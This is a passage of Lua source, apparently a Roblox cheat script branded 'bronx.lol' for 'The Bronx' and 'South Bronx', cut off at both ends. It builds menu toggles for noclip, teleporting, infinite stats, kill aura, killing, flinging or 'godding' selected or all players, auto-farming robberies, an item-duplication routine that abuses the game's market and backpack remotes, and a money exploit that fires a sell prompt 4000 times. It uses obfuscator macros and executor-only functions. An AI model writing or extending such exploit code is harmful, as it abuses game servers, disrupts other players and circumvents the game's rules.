                local SafeItemSection = SafeItemColumn:section({name = "Safe Selected Item", side = "left", size = 1, icon = GetImage("Lock.png")})

                local _SafeItem = SafeItemSection:list({flag = "SafeSelectedItem_TheBronx", options = {}, callback = function(state)
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if not state then
                            return
                        end

                        local Safe, OldCFrame = GetWorkingSafe(), LocalPlayer.Character.HumanoidRootPart.CFrame
                        pcall(Teleport, Safe.ChestClicker.CFrame)
                        local Tool = tostring(state)
                        LocalPlayer.Character:WaitForChild"Humanoid":UnequipTools()
                        
                        local ItemSafed = false; local OldBackpackRemoved; OldBackpackRemoved = LocalPlayer.Backpack.ChildRemoved:Connect(function(Child)
                            if tostring(Child) == Tool then
                                ItemSafed = true
                                OldBackpackRemoved:Disconnect()
                            end
                        end)

                        task.delay(3, function()
                            ItemSafed = true
                        end)

                        task.wait(0.5)

                        ReplicatedStorage.Inventory:FireServer("Change", Tool, "Backpack", Safe)

                        repeat task.wait() until ItemSafed == true

                        pcall(Teleport, OldCFrame)

                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Successfully safed {state}!`,
                            lifetime = 5
                        })
                    end))
                end})

                SafeItemColumn = SafeTab:column({})

                SafeItemSection = SafeItemColumn:section({name = "Take Selected Item", side = "right", size = 1, icon = GetImage("UZI.png")})

                local _TakeItem = SafeItemSection:list({flag = "TakeSelectedItem_TheBronx", options = {}, callback = function(state)
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if not state then
                            return
                        end

                        local Safe, OldCFrame = GetWorkingSafe(), LocalPlayer.Character.HumanoidRootPart.CFrame
                        pcall(Teleport, Safe.ChestClicker.CFrame)

                        local Tool = tostring(state);

                        local ItemSafed = false; local OldBackpackChildAdded; OldBackpackChildAdded = LocalPlayer.Backpack.ChildAdded:Connect(function(Child)
                            if tostring(Child) == Tool then
                                ItemSafed = true
                                OldBackpackChildAdded:Disconnect()
                            end
                        end)

                        task.delay(3, function()
                            ItemSafed = true
                        end)

                        task.wait(0.5)

                        ReplicatedStorage.Inventory:FireServer("Change", Tool, "Inv", Safe)

                        repeat task.wait() until ItemSafed == true

                        pcall(Teleport, OldCFrame)

                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Successfully took {state} from safe!`,
                            lifetime = 5
                        })
                    end))
                end})

                local Backpack_ChildAdded, Backpack_ChildRemoved

                local ConnectBackpackToRefreshSafeList = LPH_JIT_MAX(function()
                    LocalPlayer:WaitForChild("Backpack")

                    local Refresh = LPH_NO_VIRTUALIZE(function()
                        local Items = {}

                        for Index, Value in LocalPlayer.Backpack:GetChildren() do
                            if Value:IsA("Tool") then
                                table.insert(Items, Value.Name)
                            end
                        end

                        table.sort(Items)

                        _SafeItem.refresh_options(Items)

                        return Items
                    end)

                    task.spawn(Refresh)
                    
                    if Backpack_ChildAdded then
                        Backpack_ChildAdded:Disconnect()
                        Backpack_ChildAdded = nil
                    end
                                    
                    if Backpack_ChildRemoved then
                        Backpack_ChildRemoved:Disconnect()
                        Backpack_ChildRemoved = nil
                    end

                    Backpack_ChildAdded = LocalPlayer.Backpack.ChildAdded:Connect(Refresh)
                    Backpack_ChildRemoved = LocalPlayer.Backpack.ChildRemoved:Connect(Refresh)
                end)

                Players.PlayerRemoving:Connect(LPH_NO_VIRTUALIZE(function(Player)
                    if Player == LocalPlayer then
                        Backpack_ChildAdded:Disconnect(); Backpack_ChildRemoved:Disconnect()
                    end
                end))

                task.spawn(ConnectBackpackToRefreshSafeList)

                LocalPlayer.CharacterAdded:Connect(ConnectBackpackToRefreshSafeList)

                local RefreshTakeItemList = LPH_NO_VIRTUALIZE(function()
                    local Items = {}

                    for Index, Value in LocalPlayer:WaitForChild("InvData"):GetChildren() do
                        table.insert(Items, Value.Name)
                    end

                    table.sort(Items)

                    _TakeItem.refresh_options(Items)

                    return Items
                end)

                task.spawn(RefreshTakeItemList)

                LocalPlayer:WaitForChild("InvData").ChildAdded:Connect(RefreshTakeItemList)
                LocalPlayer:WaitForChild("InvData").ChildRemoved:Connect(RefreshTakeItemList)
            end

            do -- \\ Local Player Tab
                local LocalPlayerColumn = LocalPlayerTab:column({})

                local LocalPlayerModsSection = LocalPlayerColumn:section({name = "Local Player Modifications", side = "left", size = 1.0135})

                local __Modifications = {
                    "Infinite Sleep";
                    "Infinite Hunger";
                    "Infinite Stamina";
                    "Instant Interact";
                    "Instant Revive";
                    "Auto Pickup Cash";
                    "Auto Pickup Bags";
                    "Disable Camera Bobbing";
                    --"Disable Cameras";
                    "Disable Blood Effects";
                    "Bypass Locked Cars";
                    "No Jump Cooldown";
                    "No Rent Pay";
                    "No Fall Damage";
                    "No Knockback";
                    "Respawn Where You Died";
                }

                for _, Index in __Modifications do
                    LocalPlayerModsSection:toggle({type = "toggle", name = Index, flag = Index, default = false, callback = function(state)
                        Config.TheBronx.PlayerModifications[Index:gsub(" ", "")] = state
                    end})
                end

                LocalPlayerColumn = LocalPlayerTab:column({})
                local CharacterModsSection = LocalPlayerColumn:section({name = "Character Modifications", side = "right", size = 0.645, icon = GetImage("Wrench.png")})

                CharacterModsSection:toggle({type = "toggle", name = "Modify WalkSpeed", flag = "ModifyWalkSpeed_TheBronx", default = false, callback = function(state)
                    Config.MiscSettings.ModifySpeed.Enabled = state
                end})

                CharacterModsSection:toggle({type = "toggle", name = "Modify JumpPower", flag = "ModifyJumpPower_TheBronx", default = false, callback = function(state)
                    Config.MiscSettings.ModifyJump.Enabled = state
                end})

                CharacterModsSection:toggle({type = "toggle", name = "Click Teleport", flag = "ClickTeleport_TheBronx", default = false})

                local _NoClipToggle = CharacterModsSection:toggle({type = "toggle", name = "No Clip", flag = "NoClip_TheBronx", seperator = true, default = false, callback = function(state)
                    if state then
                        RunService:BindToRenderStep("NOCLIP", 1, LPH_NO_VIRTUALIZE(function()
                            if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                                if LocalPlayer.Character.Humanoid.Health ~= 0 then
                                    for Index, Value in LocalPlayer.Character:GetDescendants() do
                                        if Collide_Data[Value.Name] then
                                            pcall(function()
                                                Value.CanCollide = false
                                            end)
                                        end
                                    end
                                else
                                    for Index, Value in LocalPlayer.Character:GetDescendants() do
                                        if Collide_Data[Value.Name] then
                                            pcall(function()
                                                Value.CanCollide = true
                                            end)
                                        end
                                    end
                                end
                            end
                        end))
                    else
                        RunService:UnbindFromRenderStep("NOCLIP")

                        for Index, Value in LocalPlayer.Character:GetDescendants() do
                            if Collide_Data[Value.Name] then
                                pcall(function()
                                    Value.CanCollide = true
                                end)
                            end
                        end
                    end
                end})

                CharacterModsSection:slider({name = "WalkSpeed Value", flag = "WalkSpeedValue_TheBronx", min = 0, max = 250, default = 50, suffix = "%", callback = function(state)
                    Config.MiscSettings.ModifySpeed.Value = state
                end})

                CharacterModsSection:slider({name = "JumpPower Value", flag = "JumpPowerValue_TheBronx", min = 0, max = 250, default = 7, suffix = "%", callback = function(state)
                    Config.MiscSettings.ModifyJump.Value = state
                end})

                CharacterModsSection:keybind({name = "Click Teleport Key", flag = "ClickTeleportKey_TheBronx", key = Enum.KeyCode.LeftControl, mode = "Hold", callback = function(state)
                    Config.TheBronx.ClickTeleportActive = state
                end})

                local UISection = LocalPlayerColumn:section({name = "Toggle Interfaces Section", side = "right", size = 0.225, icon = GetImage("Settings.png")})

                local _UINames, BlacklistedNames = {'ATM GUI'}, {"Dead", "Settings1", "Controls", "FirstShopGUI", "Freecam", "ThaShop2", "WATCH GUI", "NYPD Cars", "CONSTRUCTION LEVEL", "RobPlayerUI", "Bronx LOCKER", 'MobileBeam', 'Settings', 'Flash', 'Enter', 'CopSirens'}
                
                for Index, Value in LocalPlayer.PlayerGui:GetChildren() do
                    if Value:IsA("ScreenGui") and not Value.Enabled then
                        if table.find(BlacklistedNames, Value.Name) then continue end
                        table.insert(_UINames, Value.Name)
                    end
                end 

                local _UI_EnabledToggle;

                UISection:dropdown({name = "Selected UI", flag = "SelectedUI_TB3", width = 120, items = _UINames, seperator = false, multi = false, default = 'Bronx Market 2'})

                _UI_EnabledToggle = UISection:toggle({name = "UI Enabled", type = 'toggle', callback = function(state)
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if tostring(library.flags["SelectedUI_TB3"]) == "ATM GUI" then
                            local SelectedUI = LocalPlayer.PlayerGui:FindFirstChild("ATMGui")

                            if not SelectedUI and state then
                                local _Clone = Lighting.Assets.GUI.ATMGui:Clone()
                                _Clone.Parent = LocalPlayer.PlayerGui
                                SelectedUI = _Clone
                                _Clone.Frame.closeBtn.MouseButton1Click:Connect(function()
                                    _UI_EnabledToggle.set(false)
                                    --_Clone:Destroy()
                                end)
                            end

                            if not state and SelectedUI then
                                SelectedUI:Destroy()
                            end

                            local Old_UI_Value = library.flags["SelectedUI_TB3"]

                            repeat task.wait() until library.flags["SelectedUI_TB3"] ~= Old_UI_Value

                            if SelectedUI then
                                SelectedUI:Destroy()
                            end

                            if _UI_EnabledToggle then
                                _UI_EnabledToggle.set(false)
                            end

                            return
                        end

                        local SelectedUI = LocalPlayer.PlayerGui:FindFirstChild(tostring(library.flags["SelectedUI_TB3"]))

                        if SelectedUI then
                            SelectedUI.Enabled = state

                            local Old_UI_Value = library.flags["SelectedUI_TB3"]

                            repeat task.wait() until library.flags["SelectedUI_TB3"] ~= Old_UI_Value

                            SelectedUI.Enabled = false
                            if _UI_EnabledToggle then
                                _UI_EnabledToggle.set(false)
                            end
                        end 
                    end))
                end})
            end

            do -- \\ Players Tab
                local Column = PlayersTab:column({})

                local PlayerListSection = Column:section({name = "Select Player", size = 1, default = false, side = 'left' --[[3 people icon]]})

                local PlayerList = PlayerListSection:list({flag = "SelectPlayer_TheBronx", options = {}, callback = function(state)
                    Config.TheBronx.PlayerUtilities.SelectedPlayer = tostring(state)
                end})

                local RefreshPlayers = LPH_NO_VIRTUALIZE(function()
                    local Cache = {}

                    for i, Player in Players:GetPlayers() do
                        if Player == LocalPlayer then continue end

                        table.insert(Cache, Player.Name)
                    end

                    table.sort(Cache)

                    PlayerList.refresh_options(Cache)
                end)

                task.spawn(RefreshPlayers)

                Players.PlayerAdded:Connect(RefreshPlayers)

                Players.PlayerRemoving:Connect(RefreshPlayers)

                Column = PlayersTab:column({})

                local PlayerOptionsSection = Column:section({name = "Player Options", size = 1, default = false, side = 'right', icon = GetImage("Wrench.png")})
                
                PlayerOptionsSection:toggle({type = "toggle", name = "Spectate Player", flag = "SpectatePlayer_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.PlayerUtilities.SpectatePlayer = state
                end})

                PlayerOptionsSection:toggle({type = "toggle", name = "Bring Player", flag = "BringPlayer_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.PlayerUtilities.BringingPlayer = state
                end})

                PlayerOptionsSection:toggle({type = "toggle", name = "Bug / Kill Player - Car", flag = "BugPlayer_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.PlayerUtilities.BugPlayer = state
                end})

                PlayerOptionsSection:toggle({type = "toggle", name = "Auto Kill Player - Gun", flag = "AutoKillPlayer_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.PlayerUtilities.AutoKill = state
                end})

                PlayerOptionsSection:toggle({type = "toggle", name = "Auto Ragdoll Player - Gun", flag = "AutoRagdollPlayer_TheBronx", seperator = true, default = false, callback = function(state)
                    Config.TheBronx.PlayerUtilities.AutoRagdoll = state
                end})

                PlayerOptionsSection:button({name = "Teleport To Player", callback = function()
                    task.spawn(Teleport, Players[Config.TheBronx.PlayerUtilities.SelectedPlayer].Character.HumanoidRootPart.CFrame)
                end})

                PlayerOptionsSection:button({name = "Down Player - Hold Gun", callback = function(state)
                    pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer, "HumanoidRootPart", (Players[Config.TheBronx.PlayerUtilities.SelectedPlayer].Character.Humanoid.Health - 5))
                end})

                PlayerOptionsSection:button({name = "Kill Player - Hold Gun", callback = function(state)
                    pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer, "HumanoidRootPart", math.huge)
                end})

                PlayerOptionsSection:button({name = "God Player - Hold Gun", callback = function(state)
                    pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer, "HumanoidRootPart", math.sqrt(-1))
                end})

                PlayerOptionsSection:button({name = "Fling Player - Hold Gun", callback = function(state)
                    for Index=1, 50 do
                        pcall(kill_gun, Config.TheBronx.PlayerUtilities.SelectedPlayer, "RightUpperLeg", 0.01)
                    end
                end})

                PlayerOptionsSection:button({name = "God All Players - Hold Gun", callback = function()
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        for Index, Value in Players:GetPlayers() do
                            if Value ~= LocalPlayer and Value.Character and Value.Character:FindFirstChild("Humanoid") and Value.Character:FindFirstChild("Humanoid").Health ~= 0 and not Value.Character:FindFirstChildOfClass("ForceField") and Value.Character:FindFirstChild("HumanoidRootPart") then
                                pcall(kill_gun, Value.Name, "HumanoidRootPart", math.sqrt(-1))
                                task.wait(0.1)
                            end
                        end
                    end))
                end})
                
                PlayerOptionsSection:button({name = "Kill All Players - Hold Gun", callback = function()
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        for Index, Value in Players:GetPlayers() do
                            if Value ~= LocalPlayer and Value.Character and Value.Character:FindFirstChild("Humanoid") and Value.Character:FindFirstChild("Humanoid").Health ~= 0 and not Value.Character:FindFirstChildOfClass("ForceField") and Value.Character:FindFirstChild("HumanoidRootPart") then
                                pcall(kill_gun, Value.Name, "HumanoidRootPart", math.huge)
                                task.wait(0.1)
                            end
                        end
                    end))
                end})
            end
                
            do -- \\ Misc Tab
                local Column = MiscTab:column({})

                local FarmingSection = Column:section({name = "Farming", size = 0.415, default = false, side = 'left', icon = GetImage("Wheatt.png")})

                FarmingSection:toggle({type = "toggle", name = "Auto Farm Construction", flag = "FarmConstruction_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.FarmConstructionJob = state
                end})

                FarmingSection:toggle({type = "toggle", name = "Auto Farm Bank Robbery", flag = "FarmBank_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.FarmBank = state
                end})

                FarmingSection:toggle({type = "toggle", name = "Auto Farm House Robbery", flag = "FarmHouses_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.FarmHouses = state
                end})

                FarmingSection:toggle({type = "toggle", name = "Auto Farm Studio Robbery", flag = "FarmStudio_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.FarmStudio = state
                end})

                FarmingSection:toggle({type = "toggle", name = "Auto Farm Dumpsters", flag = "FarmDumpsters_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.FarmTrash = state
                end})

                local ManualFarmSections = Column:section({name = "Manual Farms", size = 0.325, default = false, side = 'left', icon = GetImage("Pickkaxe.png")}) 

                ManualFarmSections:toggle({type = "toggle", name = "Auto Collect Dropped Cash", flag = "FarmDroppedMoney_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.CollectDroppedMoney = state
                end})

                ManualFarmSections:toggle({type = "toggle", name = "Auto Collect Dropped Bags", flag = "FarmDroppedLoot_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.CollectDroppedLoot = state
                end})

                ManualFarmSections:button({name = "Clean All Filthy Money", callback = LPH_NO_VIRTUALIZE(function()
                    if LocalPlayer.stored.FilthyStack.Value == 0 then 
                        return library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `You have no fucking money poor fuck!`,
                            lifetime = 7.5
                        })
                    end
        
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then return end
                    if not LocalPlayer.Character:FindFirstChild("Humanoid") or LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then return end
        
                    local Cleaner = GetGoodCleaner()
                    
                    if not Cleaner then
                        return library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Could not find a valid cleaner!`,
                            lifetime = 7.5
                        })
                    end
        
                    Teleport(Cleaner.WorldPivot)
        
                    task.wait(0.4)
        
                    fireproximityprompt(Cleaner:FindFirstChild("CashPrompt", true))
        
                    repeat task.wait() until Cleaner:FindFirstChild("On", true).Color == Color3.fromRGB(74, 156, 69)
        
                    task.wait(0.5)
        
                    fireproximityprompt(Cleaner:FindFirstChild("CashPrompt", true))
                    
                    task.wait(0.25)
        
                    Teleport(Cleaner.WorldPivot)
        
                    task.wait(0.4)
        
                    repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("MoneyReady")
        
                    LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack["MoneyReady"])
        
                    repeat task.wait(0.1) fireproximityprompt(Cleaner:FindFirstChild("GrabPrompt", true)) until not LocalPlayer.Character:FindFirstChild("MoneyReady")
                    
                    repeat task.wait()
                    until LocalPlayer.Backpack:FindFirstChild("BagOfMoney")
        
                    Teleport(CFrame.new(-203, 284, -1201))
        
                    task.wait(0.4)
        
                    LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack["BagOfMoney"])
        
                    task.wait(1)
        
                    fireproximityprompt(Workspace.ATMMoney.Prompt)
                end)})

                local FarmSettingsSection = Column:section({name = "Farming Settings", size = 0.225, default = false, side = 'left', Icon = GetImage("Settings.png")}) 

                FarmSettingsSection:toggle({type = "toggle", name = "AFK Safety Teleport", flag = "AFKCheck_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.AFKCheck = state
                end})

                FarmSettingsSection:toggle({type = "toggle", name = "Auto Sell Trash", flag = "SellTrash_TheBronx", default = false, callback = function(state)
                    Config.TheBronx.Farms.AutoSellTrash = state
                end})

                Column = MiscTab:column({})

                local DupingSection = Column:section({name = "Duping Section", size = 0.29, default = false, side = 'right', icon = GetImage("Node.png")}) 

                local Cooldown = false;

                DupingSection:button({name = "Duplicate Current Item", callback = function()
                    task.spawn(function()
                        if Cooldown then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Please wait!`,
                                lifetime = 5
                            })
                            return
                        end
                        Cooldown = true
                        local Player = Players.LocalPlayer
                        local Backpack = Player.Backpack

                        local Tool = Player.Character:FindFirstChildOfClass("Tool")

                        if not Tool then
                            library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `Could not find a tool! you must hold one.`,
                                lifetime = 10
                            })
                            return
                        end

                        Player.Character.Humanoid:UnequipTools()

                        local ToolName = Tool.Name
                        local ToolId

                        local Connection = ReplicatedStorage.MarketItems.ChildAdded:Connect(
                            function(item)

                                if item.Name == ToolName then
                                    if item:WaitForChild('owner').Value == Player.Name then
                                        ToolId = item:GetAttribute('SpecialId')
                                    end
                                end
                            end
                        )

                        spawn(function()
                            ReplicatedStorage.ListWeaponRemote:FireServer(ToolName, 99999)
                        end)

                        task.wait(.26)

                        spawn(function()
                            ReplicatedStorage.BackpackRemote:InvokeServer('Store', ToolName)
                        end)

                        task.wait(3)

                        spawn(function()
                            ReplicatedStorage.BuyItemRemote:FireServer(ToolName, 'Remove', ToolId)
                        end)

                        spawn(function()
                            ReplicatedStorage.BackpackRemote:InvokeServer("Grab", ToolName)
                        end)

                        Connection:Disconnect()

                        task.wait(1)

                        Cooldown = false
                    end)
                end})

                DupingSection:label({wrapped = true, name = "This might bug if you have more than 1 of the item you're duping!"})

                local VulnerabilitySection = Column:section({name = "Vulnerability Section", size = 0.347, default = false, side = 'right', icon = GetImage("unlocked.png")}) 

                local GetFruitCup = LPH_NO_VIRTUALIZE(function()
                    local Found, Cup = false, nil;

                    for Index, Value in next, {LocalPlayer.Backpack:GetChildren(), LocalPlayer.Character:GetChildren()} do
                        for _Index, _Value in Value do
                            if _Value:IsA("Tool") and _Value.Name == "Ice-Fruit Cupz" then
                                if _Value["IceFruit Cup"]["IceFruit PunchMedium"].Transparency ~= 1 then
                                    Found = true
                                    Cup = _Value
                                    break
                                end
                            end
                        end
                    end 

                    return Found, Cup
                end)

                VulnerabilitySection:button({name = "Generate Max Illegal Money", callback = function()
                    local Found, Cup = GetFruitCup()

                    if Cup and Found then
                        HideUI("generating illegal cash 💷\n please wait.")

                        local OLDCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

                        if Cup.Parent == LocalPlayer.Backpack then
                            LocalPlayer.Character.Humanoid:EquipTool(Cup)
                            task.wait(1)
                        end 

                        Teleport(Workspace["IceFruit Sell"].CFrame, true)

                        task.wait(.5)

                        for Index=1, 4000 do
                            task.spawn(function()
                                _fireproximityprompt(Workspace["IceFruit Sell"].ProximityPrompt)
                            end)
                        end

                        Teleport(OLDCFrame)

                        DeleteSecretUI()

                        return
                    end

                    HideUI("buying products 🍉\nif you are stuck here, PLEASE WAIT!!")

                    local OLDCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

                    local Itemz = {"FijiWater", "FreshWater", "Ice-Fruit Bag", "Ice-Fruit Cupz"}
                    local Stove;

                    for Index, Value in Workspace.CookingPots:GetChildren() do
                        if Value:IsA("Model") then
                            if Value:FindFirstChildWhichIsA("ProximityPrompt", true).ActionText == "Turn On" and Value:FindFirstChildWhichIsA("ProximityPrompt", true).Enabled then
                                Stove = Value

                                break
                            end
                        end
                    end

                    for Index, Value in Itemz do
                        if not LocalPlayer.Backpack:FindFirstChild(Value) then
                            ReplicatedStorage:WaitForChild("ExoticShopRemote"):InvokeServer(Value)
                            task.wait(1)
                        end
                    end

                    local Check = false;

                    for Index, Value in Itemz do
                        if not LocalPlayer.Backpack:FindFirstChild(Value) then
                            Check = true
                        end
                    end

                    if Check then
                        DeleteSecretUI()
                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Could not find items! Please check you have more than 5000$.`,
                            lifetime = 10
                        })
                        return
                    end

                    DeleteSecretUI()

                    HideUI("generating illegal cash 💷\n this takes around 1-2 minutes.\n please wait.")

                    Teleport(Stove.CookPart.CFrame, true)

                    task.wait(1)

                    StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
                    LocalPlayer.Character.HumanoidRootPart.Anchored = true

                    task.wait(1.5)

                    fireproximityprompt(Stove:FindFirstChildWhichIsA("ProximityPrompt", true))

                    task.wait(2)

                    for Index, Value in {"FijiWater", "FreshWater", "Ice-Fruit Bag"} do
                        LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack[Value])
                        task.wait(1)
                        fireproximityprompt(Stove:FindFirstChildWhichIsA("ProximityPrompt", true))
                        task.wait(3)
                    end

                    repeat wait() until 
                    Stove.CookPart.Steam.LoadUI.Enabled == false

                    if not LocalPlayer.Character:FindFirstChild("Ice-Fruit Cupz") then
                        LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack['Ice-Fruit Cupz'])
                        task.wait(1)
                    end
                    
                    task.wait(1)

                    fireproximityprompt(Stove:FindFirstChildWhichIsA("ProximityPrompt", true))

                    task.wait(3)

                    LocalPlayer.Character.HumanoidRootPart.Anchored = false

                    Teleport(Workspace["IceFruit Sell"].CFrame, true)

                    task.wait(1)

                    LocalPlayer.Character.HumanoidRootPart.Anchored = true

                    task.wait(1.5)

                    if not LocalPlayer.Character:FindFirstChild("Ice-Fruit Cupz") then
                        LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack['Ice-Fruit Cupz'])
                        task.wait(1)
                    end

                    Workspace["IceFruit Sell"].ProximityPrompt.HoldDuration = 0

                    for Index=1, 4000 do
                        task.spawn(function()
                            _fireproximityprompt(Workspace["IceFruit Sell"].ProximityPrompt)
                        end)
                    end

                    LocalPlayer.Character.HumanoidRootPart.Anchored = false
                    StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)

                    task.wait(0.5)

                    Teleport(OLDCFrame, true)

                    task.wait(2)

                    pcall(DeleteSecretUI)
                end})

                VulnerabilitySection:label({wrapped = true, name = "Money Generator takes around 3 minutes, and can take longer if some items are not in stock. You will need around 5K to do this."})

                local KillAuraSection = Column:section({name = "Kill Aura Section", size = 0.275, default = false, side = 'right', icon = GetImage("Bullet.png")}) 

                KillAuraSection:toggle({name = "Enabled - Hold Gun", flag = "KillAura_Enabled_TB3", type = "toggle", default = false, callback = function(state)
                    Config.TheBronx.KillAura = state
                end})

                KillAuraSection:slider({name = "Kill Aura Range", flag = "KillAuraRange_TB3", min = 0, max = 1000, default = 300, suffix = "st", callback = function(state)
                    Config.TheBronx.KillAuraRange = state
                end})
            end

            do -- \\ Purchase Guns
                local PurchaseGunColumn = PurchaseGunTab:column({})

                local WeaponListSection = PurchaseGunColumn:section({name = "Purchase Selected Item", side = "left", size = 1, icon = GetImage("Cash.png")})

                WeaponListSection:list({flag = "PurchaseSelectedItem_TheBronx", options = Config.Guns, callback = function(state)
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if not state then
                            return
                        end

                        Config.TheBronx.Selected_Item = state

                        local self = string.match(Config.TheBronx.Selected_Item, "^(.*) %-");

                        self = self:match("^%s*(.-)%s*$");
                        local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame;
                        local Prompt = Workspace:FindFirstChild("GUNS")[self]:FindFirstChildWhichIsA("ProximityPrompt",true);
                        if (Workspace:FindFirstChild("GUNS")[self]:FindFirstChild("GamepassID", true) and not MarketplaceService:UserOwnsGamePassAsync(LocalPlayer.UserId, Workspace:FindFirstChild("GUNS")[self]:FindFirstChild("GamepassID",true).Value)) then 
                            return library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `You do not own this gamepass!`,
                                lifetime = 5
                            })
                        end
                        
                        --if Solara then Prompt.HoldDuration = 0; end

                        local Part = Prompt.Parent:IsA("Part") and Prompt.Parent.CFrame or Prompt.Parent:IsA("MeshPart") and Prompt.Parent.CFrame or Prompt.Parent:IsA("UnionOperation") and Prompt.Parent.CFrame;
                        if LocalPlayer.stored.Money.Value < Workspace:FindFirstChild("GUNS")[self]:FindFirstChild("Price",true).Value then
                            return library.notifications:create_notification({
                                name = "bronx.lol",
                                info = `You are ${Workspace:FindFirstChild("GUNS")[self]:FindFirstChild("Price",true).Value - LocalPlayer.stored.Money.Value} short.`,
                                lifetime = 5
                            })
                        end;
                        
                        task.spawn(Teleport, Part)

                        task.wait(0.4)

                        local ItemReceieved = false;
                        task.spawn(function()
                            local Check = LocalPlayer.Backpack.ChildAdded:Connect(function(Child)
                                if tostring(Child) == tostring(self) then
                                    ItemReceieved = true
                                end
                            end)

                            task.spawn(function()
                                task.wait(1.5)
                                ItemReceieved = true
                            end)

                            repeat task.wait() until ItemReceieved == true
                            Check:Disconnect()
                        end)

                        repeat task.wait(); fireproximityprompt(Prompt); until ItemReceieved == true;
                        
                        task.wait(0.4)

                        task.spawn(Teleport, OldCFrame)

                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Successfully purchased {self}!`,
                            lifetime = 5
                        })
                    end))
                end})

                PurchaseGunColumn = PurchaseGunTab:column({})

                local TeleportListSection = PurchaseGunColumn:section({name = "Teleport To Location", side = "right", size = 1, icon = GetImage("World.png")})

                local List = {}

                for Index, Value in Config.TheBronx.TeleportationList do
                    table.insert(List, Index)
                end

                table.sort(List)

                TeleportListSection:list({flag = "TeleportToPlace_TheBronx", options = List, callback = function(state)
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if not state then
                            return
                        end

                        Teleport(Config.TheBronx.TeleportationList[state])

                        library.notifications:create_notification({
                            name = "bronx.lol",
                            info = `Successfully teleported to {state}!`,
                            lifetime = 5
                        })
                    end))
                end})
            end
        end
    end
end

if Game_Name == "South Bronx" then
    window:seperator({name = "Game"}) do
        local LocalPlayerTab, PlayersTab, PurchaseGunTab = window:tab({name = "Main", tabs = {"Local Player", "Players", "Teleports"}, icon = GetImage("World.png")}) do
            do -- \\ Local Player
                local LocalPlayerColumn = LocalPlayerTab:column({})
                local LocalPlayerModsSection = LocalPlayerColumn:section({name = "Local Player Modifications", side = "left", size = 0.475})

                local __Modifications = {
                    "Infinite Stamina";
                    "Instant Interact";
                    "Delete On Key";
                    "Hide Name";
                    "No Clip";
                    "Speed";
                }

                for _, Index in __Modifications do
                    LocalPlayerModsSection:toggle({type = "toggle", name = Index, flag = Index.."_SB", default = false, callback = Index ~= "No Clip" and LPH_NO_VIRTUALIZE(function(Value)
                            Index = string.gsub(Index, " ", "")
                            Config.South_Bronx.LocalPlayer_Config[Index] = Value
                        end) or function(Value)
                            if Value and not Solara then
                                RunService:BindToRenderStep("NOCLIP", 1, LPH_NO_VIRTUALIZE(function()
                                    if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                                        if LocalPlayer.Character.Humanoid.Health ~= 0 then
                                            for Index, Value in LocalPlayer.Character:GetDescendants() do
                                                if Collide_Data[Value.Name] then
                                                    pcall(function()
                                                        Value.CanCollide = false
                                                    end)
                                                end
                                            end
                                        else
                                            for Index, Value in LocalPlayer.Character:GetDescendants() do
                                                if Collide_Data[Value.Name] then
                                                    pcall(function()
                                                        Value.CanCollide = true
                                                    end)
                                                end
                                            end
                                        end
                                    end
                                end))
                            else
                                RunService:UnbindFromRenderStep("NOCLIP")
                
                                for Index, Value in LocalPlayer.Character:GetDescendants() do
                                    if Collide_Data[Value.Name] then
                                        pcall(function()
                                            Value.CanCollide = true
                                        end)
                                    end
                                end
                            end
                    end})
                end

                LocalPlayerModsSection = LocalPlayerColumn:section({name = "Modification Settings", side = "left", size = 0.275, icon = GetImage("Settings.png")})

                LocalPlayerModsSection:slider({name = "WalkSpeed Value", flag = "WalkSpeedValue_SouthBronx", min = 0, max = 50, default = 25, suffix = "%", callback = function(state)
                    Config.South_Bronx.LocalPlayer_Config.SpeedValue = state/100
                end})

                LocalPlayerModsSection:keybind({name = "Delete + Click Key", flag = "DeleteOnKey_SouthBronx", key = Enum.KeyCode.LeftControl, mode = "Hold", callback = function(state)
